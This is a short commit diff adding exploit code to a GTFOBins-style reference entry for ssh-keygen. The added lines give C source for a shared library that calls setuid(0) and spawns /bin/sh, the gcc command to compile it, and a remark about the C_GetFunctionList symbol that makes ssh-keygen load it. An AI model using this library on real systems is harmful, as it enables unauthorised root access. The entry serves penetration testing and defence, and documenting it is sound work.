update ssh-keygen with exploit code

_gtfobins/ssh-keygen.md

@@ -1,4 +1,26 @@
 ---
+description: |
+  A Shared Library is loaded by the application and executed. You can create a shared library with the following code:
+  ```c
+  #include <unistd.h>
+
+  void C_GetFunctionList(){
+    char *argv[] = {"/bin/sh", NULL};
+    setuid(0);
+    execve(argv[0], argv, NULL);
+  }
+
+  int main(int argc, char const *argv[])
+  {
+    return 0;
+  }
+  ```
+  Compile it with:
+  ```sh
+  gcc -shared -o lib.so -fPIC lib.c
+  ```
+  Note: You can also define a constructor function to execute code when the library is loaded. But the `C_GetFunctionList` string needs to be present.
+
 functions:
   library-load:
     - description: |